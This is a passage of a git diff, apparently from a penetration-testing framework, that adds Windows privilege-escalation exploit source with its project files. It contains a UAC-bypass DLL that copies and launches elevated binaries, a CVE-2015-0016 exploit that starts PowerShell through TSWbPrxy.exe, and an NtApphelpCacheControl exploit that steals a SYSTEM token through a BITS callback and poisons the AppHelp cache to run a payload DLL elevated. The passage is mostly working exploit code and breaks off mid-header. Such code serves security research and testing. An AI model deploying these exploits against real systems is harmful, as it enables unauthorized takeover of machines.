Unable to create item from name (destination)"); + break; + } + + if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll"); + break; + } + + /* Copy the DLL file to the target folder*/ + if (pFileOp->PerformOperations() != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to copy elev dll"); + break; + } + + /* Execute the target binary */ + SHELLEXECUTEINFOW shinfo; + ZeroMemory(&shinfo, sizeof(shinfo)); + shinfo.cbSize = sizeof(shinfo); + shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; + shinfo.lpFile = paths->szElevExeFull; + shinfo.lpParameters = szElevArgs; + shinfo.lpDirectory = paths->szElevDir; + shinfo.nShow = SW_HIDE; + + Wow64DisableWow64FsRedirection(&OldValue); + if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) + { + WaitForSingleObject(shinfo.hProcess, 10000); + CloseHandle(shinfo.hProcess); + } + + if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) + || NULL == pSHIDelete) + { + dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)"); + break; + } + + if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) + { + dprintf("[BYPASSUACINJ] Failed to prepare op for delete"); + break; + } + + if (pFileOp->PerformOperations() == S_OK) + { + dprintf("[BYPASSUACINJ] Successfully deleted dll"); + + // bail out this point because we don't need to keep trying to delete + break; + } + + SAFERELEASE(pSHIDelete); + + // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path + // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: + // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx + if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) + || NULL == pSHIDelete) + { + dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)"); + break; + } + + if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) + { + dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)"); + break; + } + + if (pFileOp->PerformOperations() == S_OK) + { + dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process"); + } + else + { + dprintf("[BYPASSUACINJ] Failed to delete target DLL"); + } + + } while (0); + + SAFERELEASE(pSHIDelete); + SAFERELEASE(pSHIDestination); + SAFERELEASE(pSHISource); + SAFERELEASE(pFileOp); + + if (bComInitialised) + { + CoUninitialize(); } } -} + +} \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h old mode 100644 new mode 100755 index cce02e5bff..6197bbb276 --- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h @@ -5,4 +5,32 @@ #include #include -EXTERN_C void exploit(); +// Uncomment this line to include debug output +//#define DEBUGTRACE + +#ifdef DEBUGTRACE +#define dprintf(...) real_dprintf(__VA_ARGS__) +static void real_dprintf(char *format, ...) +{ + va_list args; + char buffer[1024]; + va_start(args, format); + vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args); + strcat_s(buffer, sizeof(buffer), "\r\n"); + OutputDebugStringA(buffer); +} +#else +#define dprintf(...) +#endif + +typedef struct _BypassUacPaths +{ + wchar_t szElevDir[MAX_PATH]; + wchar_t szElevDirSysWow64[MAX_PATH]; + wchar_t szElevDll[MAX_PATH]; + wchar_t szElevDllFull[MAX_PATH]; + wchar_t szElevExeFull[MAX_PATH]; + wchar_t szDllTempPath[MAX_PATH]; +} BypassUacPaths; + +EXTERN_C void exploit(BypassUacPaths const * const paths); diff --git a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c old mode 100644 new mode 100755 index 83b0c9fddb..e9e97c5fb8 --- a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c +++ b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c @@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance; BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { - BOOL bReturnValue = TRUE; - switch( dwReason ) - { - case DLL_QUERY_HMODULE: - if( lpReserved != NULL ) - *(HMODULE *)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - exploit(); - ExitProcess(0); - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + + if (NULL != lpReserved) + { + dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved); + exploit((BypassUacPaths*)lpReserved); + } + + ExitProcess(0); + break; + default: + break; + } + + return TRUE; + } diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016.sln b/external/source/exploits/cve-2015-0016/cve-2015-0016.sln new file mode 100755 index 0000000000..8edd55e5b0 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.31101.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32 + {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32 + {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32 + {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt b/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt new file mode 100755 index 0000000000..8194dd462a --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt @@ -0,0 +1,48 @@ +======================================================================== + DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview +======================================================================== + +AppWizard has created this cve-2015-0016 DLL for you. + +This file contains a summary of what you will find in each of the files that +make up your cve-2015-0016 application. + + +cve-2015-0016.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +cve-2015-0016.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +cve-2015-0016.cpp + This is the main DLL source file. + + When created, this DLL does not export any symbols. As a result, it + will not produce a .lib file when it is built. If you wish this project + to be a project dependency of some other project, you will either need to + add code to export some symbols from the DLL so that an export library + will be produced, or you can set the Ignore Input Library property to Yes + on the General propert page of the Linker folder in the project's Property + Pages dialog box. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named cve-2015-0016.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp new file mode 100755 index 0000000000..753bd5d368 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp @@ -0,0 +1,46 @@ +// MyExploit.cpp : Defines the exported functions for the DLL application. +// + +#include "stdafx.h" +#include + +#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace +#define MAX_ENV 32767 + +bstr_t GetEnv(LPCSTR env) +{ + CHAR buf[MAX_ENV]; + + GetEnvironmentVariable(env, buf, MAX_ENV); + + return buf; +} + +void DoTSWbPrxyExploit() { + HRESULT hr; + IMSTSWebProxy *pUnk; + + CHAR cmdline[] = "TSWbPrxy.exe"; + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + + hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo); + if (hr == 0) + return; + + hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk); + if (hr != 0) + return; + + pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD")); + pUnk->Release(); +} + +DWORD CALLBACK ExploitThread(LPVOID hModule) +{ + CoInitialize(nullptr); + DoTSWbPrxyExploit(); + CoUninitialize(); + + FreeLibraryAndExitThread((HMODULE)hModule, 0); +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj new file mode 100755 index 0000000000..3a252cceaa --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj @@ -0,0 +1,105 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450} + Win32Proj + cve20150016 + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + MultiByte + + + + + + + + + + + + + true + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + CompileAsCpp + + + Windows + true + true + true + + + + + + + + + + + + + false + + + false + + + + + Create + Create + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters new file mode 100755 index 0000000000..fe135862f2 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters @@ -0,0 +1,39 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp new file mode 100755 index 0000000000..e23ee055cf --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp @@ -0,0 +1,24 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule); + +BOOL APIENTRY DllMain(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + + diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp new file mode 100755 index 0000000000..0aef05abb6 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// cve-2015-0016.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h new file mode 100755 index 0000000000..677e68a9fa --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h @@ -0,0 +1,16 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include + + + +// TODO: reference additional headers your program requires here diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h new file mode 100755 index 0000000000..90e767bfce --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit.sln b/external/source/exploits/ntapphelpcachecontrol/exploit.sln new file mode 100755 index 0000000000..d13ac14ff5 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.31101.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exploit", "exploit\exploit.vcxproj", "{41275E8F-395F-492A-9770-38FE2FAA9669}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.ActiveCfg = Release|Win32 + {41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.Build.0 = Release|Win32 + {41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.ActiveCfg = Release|Win32 + {41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp new file mode 100755 index 0000000000..d4d5a6ae73 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp @@ -0,0 +1,228 @@ +#include "stdafx.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// {1941C949-0BDE-474F-A484-9F74A8176A7C}, ensure it's an interface with a registered proxy +IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } }; + +class FakeObject : public IUnknown +{ + LONG m_lRefCount; + HANDLE* m_ptoken; + + void TryImpersonate() + { + if (*m_ptoken == nullptr) + { + HRESULT hr = CoImpersonateClient(); + if (SUCCEEDED(hr)) + { + HANDLE hToken; + if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken)) + { + PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000); + DWORD ret_len = 0; + + if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len)) + { + LPWSTR sid_name; + + ConvertSidToStringSid(user->User.Sid, &sid_name); + + if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr)) + { + *m_ptoken = hToken; + RevertToSelf(); + } + else + { + CloseHandle(hToken); + } + + printf("Got Token: %p %ls\n", hToken, sid_name); + LocalFree(sid_name); + } + else + { + printf("Error getting token user %d\n", GetLastError()); + } + free(user); + } + else + { + printf("Error opening token %d\n", GetLastError()); + } + } + } + } + +public: + //Constructor, Destructor + FakeObject(HANDLE* ptoken) { + m_lRefCount = 1; + m_ptoken = ptoken; + *m_ptoken = nullptr; + } + + ~FakeObject() {}; + + //IUnknown + HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj) + { + TryImpersonate(); + + if (riid == __uuidof(IUnknown)) + { + *ppvObj = this; + } + else if (riid == IID_FakeInterface) + { + printf("Check for FakeInterface\n"); + *ppvObj = this; + } + else + { + *ppvObj = NULL; + return E_NOINTERFACE; + } + + AddRef(); + return NOERROR; + } + + ULONG __stdcall AddRef() + { + TryImpersonate(); + return InterlockedIncrement(&m_lRefCount); + } + + ULONG __stdcall Release() + { + TryImpersonate(); + // not thread safe + ULONG ulCount = InterlockedDecrement(&m_lRefCount); + + if (0 == ulCount) + { + delete this; + } + + return ulCount; + } +}; + +_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob)); +_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager)); + +bool DoCaptureToken(HANDLE* ptoken) +{ + // If CoInitializeEx fails, the exception is unhandled and the program terminates + + IBackgroundCopyJobPtr pJob; + try + { + //The impersonation level must be at least RPC_C_IMP_LEVEL_IMPERSONATE. + HRESULT hr = CoInitializeSecurity(NULL, + -1, + NULL, + NULL, + RPC_C_AUTHN_LEVEL_CONNECT, + RPC_C_IMP_LEVEL_IMPERSONATE, + NULL, + EOAC_DYNAMIC_CLOAKING, + 0); + if (FAILED(hr)) + { + throw _com_error(hr); + } + + // Connect to BITS. + IBackgroundCopyManagerPtr pQueueMgr; + + IMonikerPtr pNotify; + + CreatePointerMoniker(new FakeObject(ptoken), &pNotify); + + hr = CoCreateInstance(__uuidof(BackgroundCopyManager), NULL, + CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr)); + + if (FAILED(hr)) + { + // Failed to connect. + throw _com_error(hr); + } + + GUID guidJob; + hr = pQueueMgr->CreateJob(L"BitsAuthSample", + BG_JOB_TYPE_DOWNLOAD, + &guidJob, + &pJob); + + if (FAILED(hr)) + { + // Failed to connect. + throw _com_error(hr); + } + + pJob->SetNotifyInterface(pNotify); + } + catch (const std::bad_alloc &) + { + wprintf(L"Memory allocation failed"); + if (pJob) + { + pJob->Cancel(); + } + + return false; + } + catch (const _com_error &ex) + { + wprintf(L"Error '%ls' occurred during operation", ex.ErrorMessage()); + if (pJob) + { + pJob->Cancel(); + } + + return false; + } + + return true; +} + +class CoInitializer +{ +public: + CoInitializer() + { + CoInitialize(NULL); + } + + ~CoInitializer() + { + CoUninitialize(); + } +}; + +HANDLE CaptureImpersonationToken() +{ + CoInitializer coinit; + HANDLE token = nullptr; + + if (DoCaptureToken(&token)) + { + return token; + } + + return nullptr; +} diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp new file mode 100755 index 0000000000..e8d93926e3 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp @@ -0,0 +1,272 @@ +//#include "stdafx.h" +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +#include "my_winternl.h" +#include "sdb.h" +#include +#include +#include + +#define BUF_SIZE 0x108 +#define MAX_ENV 32767 + +enum APPHELPCOMMAND +{ + AppHelpQuery, // 0 -> 0x22003 DeviceIoControl + AppHelpRemove, // 1 -> 0x22007 + AppHelpUpdate, // 2 -> 0x2200B (Admin) + AppHelpEnum, // 3 -> 0x2200F (Admin) (Looks unused) + AppHelpNotifyStart, // 4 -> 0x220013 (Admin) + AppHelpWriteRegistry, // 5 -> 0x220017 (Admin) + AppHelpNotifyStop, // 6 -> 0x22001B (Admin) + AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service) + AppHelpSnapshot, // 8 -> 0x220023 (Admin) + AppHelpQueryModule, // 9 -> 0x220027 + AppHelpRefresh, // 10 -> 0x22002B + AppHelpCheckForChange, // 11 -> 0x22002F + AppHelpQueryHwId, // 12 (doesn’t go to driver, calls AchCacheQueryHwId) +}; + +struct ApphelpCacheControlData +{ + BYTE unk0[0x98]; // 0x00 -> 0x98 (all zeros?) + DWORD query_flags; // 0x98; + DWORD cache_flags; // 0x9C + HANDLE file_handle; // 0xA0 + HANDLE process_handle; // 0xA4 + UNICODE_STRING file_name; // 0xA8 + UNICODE_STRING package_name;// 0xB0 + DWORD buf_len; // 0xB8 + LPVOID buffer; // 0xBC + BYTE unkC0[0x2C]; // 0xC0 -> 0xEC + UNICODE_STRING module_name; // 0xEC (used for 9) + BYTE unkF4[0x14]; // 0xF4 -> 0x108 +}; + +typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf); +typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); + +HANDLE CaptureImpersonationToken(); + +struct APPHELP_QUERY +{ + int match_tags[16]; + int unk40[16]; + int layer_tags[8]; + int flags; + int main_tag; + int match_count; + int layer_count; + GUID exe_guid; + int unkC0[264 / 4]; +}; + +BOOL resolveSdbFunctions(); +extern SdbOpenDatabase SdbOpenDatabasePtr; +extern SdbCloseDatabase SdbCloseDatabasePtr; +extern SdbTagToString SdbTagToStringPtr; +extern SdbGetFirstChild SdbGetFirstChildPtr; +extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr; +extern SdbGetNextChild SdbGetNextChildPtr; +extern SdbReadBinaryTag SdbReadBinaryTagPtr; + +TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid) +{ + TAG tmpTag = 0; + DWORD dwD = 0; + TAGID newtid = TAGID_NULL; + LPCTSTR tmp; + DWORD i = 0; + GUID guid; + + newtid = SdbGetFirstChildPtr(db, tid); + while (newtid != TAGID_NULL) + { + tmpTag = SdbGetTagFromTagIDPtr(db, newtid); + tmp = SdbTagToStringPtr(tmpTag); + + // process tag types + switch (tmpTag & 0xFFFF) + { + case TAG_EXE_ID: + if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid))) + { + if (IsEqualGUID(guid, exe_guid)) + { + return tid; + } + } + break; + + default: + break; + } + + // recursive + if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST) + { + TAGID ret = findExeByGuid(db, newtid, exe_guid); + if (ret != 0) + { + return ret; + } + } + + // get next tag + newtid = SdbGetNextChildPtr(db, tid, newtid); + } + + return 0; +} + +TAGID GetTagForRegsvr32() +{ + resolveSdbFunctions(); + + PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH); + if (!db) + { + DWORD stat = GetLastError(); + printf("Failed to load SDB file %d\n", stat); + return 0; + } + + GUID guid; + + IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid); + + TAGID ret = findExeByGuid(db, TAGID_ROOT, guid); + + SdbCloseDatabasePtr(db); + + return ret; +} + +LPWSTR GetEnvVar(LPWSTR env) +{ + WCHAR buf[MAX_ENV]; + GetEnvironmentVariable(env, buf, MAX_ENV); + return buf; +} + +DWORD CALLBACK ExploitMain(char * lpReserved) +{ + WCHAR dllpath_buf[MAX_PATH]; + WCHAR payloadPath[MAX_PATH]; + MultiByteToWideChar(CP_ACP, 0, lpReserved, -1, payloadPath, MAX_PATH); + + if (!GetFullPathNameW(payloadPath, MAX_PATH, (LPWSTR) dllpath_buf, nullptr)) + { + printf("Couldn't get fullpath to dll %d\n", GetLastError()); + return 1; + } + + std::wstring dllpath; + dllpath = L"\""; + dllpath += dllpath_buf; + dllpath += L"\""; + + TAGID tag = GetTagForRegsvr32(); + if (tag == 0) + { + printf("Failed to get SDB tag for regsvr32\n"); + return 1; + } + + printf("Found regsvr32.exe tag: %08X\n", tag); + + HANDLE token = CaptureImpersonationToken(); + _RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString"); + _NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl"); + + ApphelpCacheControlData data = { 0 }; + + std::wstring exe = GetEnvVar(L"SystemRoot"); + exe += L"\\System32\\ComputerDefaults.exe"; + + std::wstring full_path = L"\\??\\"; + full_path += exe.c_str(); + + printf("Interposing on cache for %ls\n", full_path.c_str()); + + fRtlInitUnicodeString(&data.file_name, full_path.c_str()); + + data.file_handle = CreateFile(exe.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + nullptr, OPEN_EXISTING, 0, 0); + if (data.file_handle == INVALID_HANDLE_VALUE) + { + printf("Error opening file %ls %d\n", exe.c_str(), GetLastError()); + return 1; + } + + data.query_flags = 0xFF; + data.cache_flags = 1; + + APPHELP_QUERY query = { 0 }; + query.match_count = 1; + query.layer_count = 0; + query.match_tags[0] = tag; + query.unkC0[0] = 1; + + data.buffer = &query; + data.buf_len = sizeof(query); + + int status = -1; + + // Ensure it the cache if flushed + fNtApphelpCacheControl(AppHelpRemove, &data); + + if (SetThreadToken(nullptr, token)) + { + status = fNtApphelpCacheControl(AppHelpUpdate, &data); + RevertToSelf(); + } + else + { + status = GetLastError(); + } + + if (status == 0) + { + LPCWSTR verb = L"runas"; + + printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str()); + ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW); + printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data)); + } + else + { + printf("Error adding cache entry: %08X\n", status); + } + + return 0; +} + +extern HINSTANCE hAppInstance; + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + ExploitMain((char*)lpReserved); + ExitProcess(0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/exploit.vcxproj b/external/source/exploits/ntapphelpcachecontrol/exploit/exploit.vcxproj new file mode 100755 index 0000000000..f301286c06 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/exploit.vcxproj @@ -0,0 +1,106 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {41275E8F-395F-492A-9770-38FE2FAA9669} + Win32Proj + exploit + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + true + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + ..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + + + Windows + true + true + true + + + + + + + + + + + + + + + false + + + false + + + + + + Create + Create + + + + + + \ No newline at end of file diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/my_winternl.h b/external/source/exploits/ntapphelpcachecontrol/exploit/my_winternl.h new file mode 100755 index 0000000000..8dd7bd7598 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/my_winternl.h @@ -0,0 +1,866 @@ +#ifndef _WINTERNL_ +#define _WINTERNL_ +#include + +#pragma region Desktop Family +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) + + +#if (_WIN32_WINNT >= 0x0500) + +#include + +#ifdef __cplusplus +extern "C" { +#endif + + // + // These data structures and type definitions are needed for compilation and + // use of the internal Windows APIs defined in this header. + // + + typedef _Return_type_success_(return >= 0) LONG NTSTATUS; + + typedef CONST char 